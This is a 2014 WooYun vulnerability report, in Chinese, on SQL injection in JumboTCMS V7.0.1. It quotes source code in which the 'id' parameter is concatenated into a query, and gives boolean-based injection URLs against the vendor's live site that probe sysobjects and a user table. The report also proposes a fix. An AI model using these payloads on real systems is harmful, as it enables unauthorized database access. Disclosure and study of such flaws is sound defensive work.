当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062447

漏洞标题:JumboTCMS V7.0.1 存在sql注入

相关厂商:jumbotcms.net

漏洞作者: what_news

提交时间:2014-06-06 23:41

修复时间:2014-09-04 23:42

公开时间:2014-09-04 23:42

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-06: 细节已通知厂商并且等待厂商处理中
2014-06-06: 厂商已经确认,细节仅向厂商公开
2014-06-09: 细节向第三方安全合作伙伴开放
2014-07-31: 细节向核心白帽子及相关领域专家公开
2014-08-10: 细节向普通白帽子公开
2014-08-20: 细节向实习白帽子公开
2014-09-04: 细节向公众公开

简要描述:

JumboTCMS最新版存在注入一枚 官网测试成功

详细说明:

漏洞页面

http://www.jumbotcms.net/ajax/content.aspx?cType=soft&id=22&oper=ajaxDownCount&debugkey=5E7D-8A8B-F75C-BFF3


源代码如下

protected void Page_Load(object sender, EventArgs e)
{
base.Server.ScriptTimeout = 8;
this._operType = base.q("oper");
string CS$4$0000 = this._operType;
if (CS$4$0000 != null)
{
if (!(CS$4$0000 == "ajaxDownCount"))
{
if (CS$4$0000 == "ajaxAddFavorite")
{
this.ajaxAddFavorite();
goto Label_0059;
}
}
else
{
this.ajaxDownCount(); //跟进
goto Label_0059;
}
}
this.DefaultResponse();
Label_0059:
base.Response.Write(this._response);
}


private void ajaxDownCount()
{
string _type = base.q("cType"); //cType为固定几个值 我们选soft
if (!base.ModuleIsOK(_type))
{
base.Response.Write("请勿恶意攻击");
base.Response.End();
}
if (base.Str2Int(base.q("addit")) == 1)
{
base.doh.Reset();
base.doh.ConditionExpress = "id=" + base.q("id");
base.doh.Add("jcms_module_" + _type, "DownNum");
}
base.doh.Reset();
base.doh.ConditionExpress = "id=" + base.q("id");//看这里
this._response = "{\"count\" :\"" + base.Str2Int(base.doh.GetField("jcms_module_" + _type, "DownNum").ToString()) + "\"}"; //跟进GetField 函数
}


public object GetField(string _tableName, string _fieldName, bool _isField)
{
this.tableName = _tableName;
this.fieldName = _fieldName;
if (_isField)
{
this.SqlCmd = "select [" + this.fieldName + "] from [" + this.tableName + "]";
}
else
{
this.SqlCmd = "select " + this.fieldName + " from [" + this.tableName + "]";
}
if (this.ConditionExpress != string.Empty)
{
this.SqlCmd = this.SqlCmd + " where " + this.ConditionExpress; //this.ConditionExpress 就是上面的 "id=" + base.q("id"); 接着看下q()函数吧
}
this.cmd.CommandText = this.SqlCmd;
this.GenParameters();
object ret = this.cmd.ExecuteScalar();
if (ret == null)
{
ret = string.Empty;
}
return ret;
}


public string q(string s)
{
if ((HttpContext.Current.Request.QueryString[s] != null) && (HttpContext.Current.Request.QueryString[s] != ""))
{
return Strings.SafetyQueryS(HttpContext.Current.Request.QueryString[s].ToString());//跟进
}
return string.Empty;
}
public static string SafetyQueryS(string theString)
{
string[] aryReg = new string[] { "'", ";", "\"", "\r", "\n", "<", ">" };
for (int i = 0; i < aryReg.Length; i++)
{
theString = theString.Replace(aryReg[i], string.Empty);
}
return theString;
}
//过滤了' < > 所以上面是存在注入的 可以构造


故id存在注入

漏洞证明:

访问

http://www.jumbotcms.net/ajax/content.aspx?cType=soft&id=22&oper=ajaxDownCount&debugkey=5E7D-8A8B-F75C-BFF3


正常显示

526.png


http://www.jumbotcms.net/ajax/content.aspx?cType=soft&id=22 and 1=1 &oper=ajaxDownCount&debugkey=5E7D-8A8B-F75C-BFF3


正常显示

5261.png


http://www.jumbotcms.net/ajax/content.aspx?cType=soft&id=22 and 1=2 &oper=ajaxDownCount&debugkey=5E7D-8A8B-F75C-BFF3


不一样的显示

5262.png


mssql数据库

http://www.jumbotcms.net/ajax/content.aspx?cType=soft&id=22  and exists (select * from sysobjects) &oper=ajaxDownCount&debugkey=5E7D-8A8B-F75C-BFF3


5263.png


存在jcms_normal_user表

http://www.jumbotcms.net/ajax/content.aspx?cType=soft&id=22 and exists (select * from jcms_normal_user) &oper=ajaxDownCount&debugkey=5E7D-8A8B-F75C-BFF3


5264.png


由于过滤了< > 所以范围被限制了 只能用=号一个一个判断 有点麻烦 不过确实是存在注入

修复方案:

对q函数进行完善
对带入的参数id进行int转换

版权声明:转载请注明来源 what_news@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-06-06 23:47

厂商回复:

纯属遗漏,低级失误

最新状态:

暂无